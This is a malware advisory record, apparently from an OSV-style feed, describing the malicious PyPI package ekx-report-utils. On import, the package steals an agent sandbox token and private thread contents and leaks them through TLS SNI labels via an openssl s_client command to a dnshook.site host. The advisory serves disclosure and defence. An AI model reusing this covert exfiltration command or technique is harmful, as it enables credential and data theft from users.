{"id":"MAL-2026-14555","kind":"package","aliases":["MAL-2026-14555"],"related":[],"title":"Malicious code in ekx-report-utils (PyPI)","description":"---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78)\nOn import, the package runs a `_setup()` routine that reads a session credential from `/tmp/.sandbox_token` and issues an authenticated GET to `${SANDBOX_ROUTER_URL}/rpc/<uuid>/proxy/v2/me/threads` using an `x-sandbox-token` header. The response body is base64url-encoded, chunked into 50-character labels, and smuggled outbound as TLS SNI values by invoking `openssl s_client -connect <i>.<chunk>.<uuid>.dnshook.site:443 -brief` with stdout/stderr discarded. The exfiltrated material — a sandbox/agent session token the package did not provision and the private thread contents that token authorizes — is installer-owned data. The covert-channel construction (SNI labels rather than an HTTP POST, base64url chunking, silenced subprocess output) is designed to bypass HTTP egress controls and DNS content inspection. Behavior fires automatically on `from ekx_report_utils import...` with no user action required, and the package's stated 'report utilities' purpose does not correspond to the observed data flow.\n\n## Source: kam193 (a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6)\nDuring import, the package collects sensitive information and exfiltrates it using DNS queries.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-08-ekx-report-utils\n\n\nReasons (based on the campaign):\n\n\n - targetted-attack\n\n\n - exfiltration-generic\n\n\n - exfiltration-credentials","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"ekx-report-utils","fixed":[],"affected":"= 0.1.0; = 0.2.0; = 0.3.0; = 0.4.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-08-27T12:59:21+00:00","first_seen_at":"2026-10-26T20:51:56+00:00","triaged_at":"2026-10-26T21:12:36+00:00","updated_at":"2026-10-26T21:12:36+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-08':209C '-14555':11A,14A '-2026':10A,13A '/proxy/v2/me/threads':60C '/rpc':59C '/tmp/.sandbox_token':49C '2026':208C '50':77C 'a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6':183C 'a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78':34C 'action':163C 'amazon':32C 'amazon-inspector':31C 'attack':221C 'authent':53C 'author':117C 'automat':153C 'base':215C 'base64url':73C,135C 'base64url-encoded':72C 'behavior':151C 'bodi':70C 'brief':94C 'bypass':143C 'campaign':200C,207C,218C 'categori':197C 'channel':126C 'charact':78C 'chunk':75C,136C 'clear':202C 'client':91C 'code':2A 'collect':188C 'connect':92C 'construct':127C 'content':114C,149C 'control':146C 'correspond':175C 'covert':125C 'covert-channel':124C 'credenti':47C,227C 'data':122C,179C 'design':141C 'detail':23C 'discard':97C 'dns':148C,195C 'dnshook.site:443':93C 'edit':26C 'egress':145C 'ekx':5A,16A,156C,211C 'ekx-report-util':4A,210C 'ekx-report-utils':15A 'encod':74C 'exfiltr':99C,192C,223C,226C 'exfiltration-credenti':225C 'exfiltration-gener':222C 'fire':152C 'flow':180C 'generic':224C 'get':54C 'header':67C 'http':133C,144C 'import':36C,159C,185C 'inform':190C 'infosteal':206C 'inspect':150C 'inspector':33C 'instal':120C 'installer-own':119C 'intent':204C 'invok':88C 'issu':51C 'kam193':182C 'label':79C,129C 'like':205C 'line':29C 'mal':9A,12A 'malici':1A,19B,198C,203C 'materi':100C 'observ':178C 'openssl':89C 'outbound':82C 'output':139C 'own':121C 'packag':20B,38C,106C,167C,187C 'per':21C 'post':134C 'privat':112C 'provis':109C 'purpos':172C 'pypi':8A 'queri':196C 'rather':130C 'read':44C 'reason':214C 'report':6A,17A,157C,170C,212C 'requir':164C 'respons':69C 'router':57C 'routin':42C 'run':39C 'sandbox':56C,65C 'sandbox/agent':102C 'sensit':189C 'session':46C,103C 'setup':41C 'silenc':137C 'smuggl':81C 'sni':85C,128C 'sourc':22C,30C,181C 'state':169C 'stdout/stderr':96C 'subprocess':138C 'target':220C 'targetted-attack':219C 'thread':113C 'tls':84C 'token':66C,104C,116C 'url':58C 'use':61C,194C 'user':162C 'util':7A,158C,171C,213C 'utils':18A 'valu':86C 'x':64C 'x-sandbox-token':63C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-08-27T12:59:21+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-14555","url":"https://osv.dev/vulnerability/MAL-2026-14555","severity":"critical","published_at":"2026-08-27T12:59:21+00:00","modified_at":"2026-08-28T19:45:17+00:00","first_seen_at":"2026-10-26T20:51:56+00:00","fetched_at":"2026-10-26T20:51:56+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}